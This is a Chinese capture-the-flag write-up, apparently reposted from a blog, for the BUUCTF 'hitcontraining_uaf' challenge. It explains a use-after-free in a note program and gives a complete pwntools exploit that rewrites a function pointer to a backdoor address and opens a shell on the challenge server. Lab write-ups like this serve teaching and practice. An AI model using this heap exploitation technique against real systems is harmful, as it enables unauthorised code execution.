buuctf hitcontraining_uaf

保护情况:
在这里插入图片描述
程序菜单:
在这里插入图片描述
分析程序每个函数:
1.申请堆块,并且输入堆块大小以及填充对应大小的内容,所以不存在堆溢出漏洞在这里插入图片描述

申请一个八字节的内存用来存放put函数指针和content指针
根据输入的size值来申请内存,用来存放real content
程序是先申请一个指针堆块,这个指针堆块的大小为8字节,前四字节存储的是puts函数的指针,后四字节存储的是要申请的堆块内容指针就是相当于这样
在这里插入图片描述

2.释放堆块,这个操作,在释放堆块之后,并未把指针置零,所以存在uaf漏洞

在这里插入图片描述

3.打印堆块内容,这段代码会把指针堆块的第一个指针来执行函数,如果把第一个指针修改为后门函数指针,就能getshell
在这里插入图片描述
后门函数
在这里插入图片描述

所以这道题目的思路就是通过uaf漏洞来修改某一指针堆块的前四字节为后门函数指针,然后再打印该堆块,就会执行后门函数,从而达到攻击目的

具体利用方法:
1.先申请两个堆块(申请了两个,但实际上是四个堆块)(申请大小控制在0x10以上(防止context堆块被释放进入指针堆块序列))
2.再把这两个堆块都释放,指针堆块会都进入fastbin中 如下图:
在这里插入图片描述

3.当我们再申请大小为8的堆块时根据堆块的分配法则
会把指针堆块1重新分配给我们,context堆块会把指针堆块0分配给我们(因为我们申请一个堆块实际上是申请两个堆块(一个指针堆块,一个context堆块))
在这里插入图片描述
那么我们在填充内容时,就能把指针设置成后门函数地址,由于我们没有 note0 为 NULL。当我们再次输出 note0 的时候,程序就会调用 magic 函数,getshell
代码如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn12")
p=remote("node4.buuoj.cn",26295)
def bug():
	gdb.attach(p)
	pause()
def add(size,c):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.sendlineafter(b"Note size :",str(size))
	p.sendafter(b"Content :",c)
def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.sendlineafter(b"Index :",str(i))
def dump(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter(b"Index :",str(i))

add(0x20,b'aaaa')
add(0x20,b'bbbb')
free(0)
free(1)
#bug()
add(0x8,p32(0x8048945))
dump(0)
p.sendline(b'cat flag')

p.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/130011579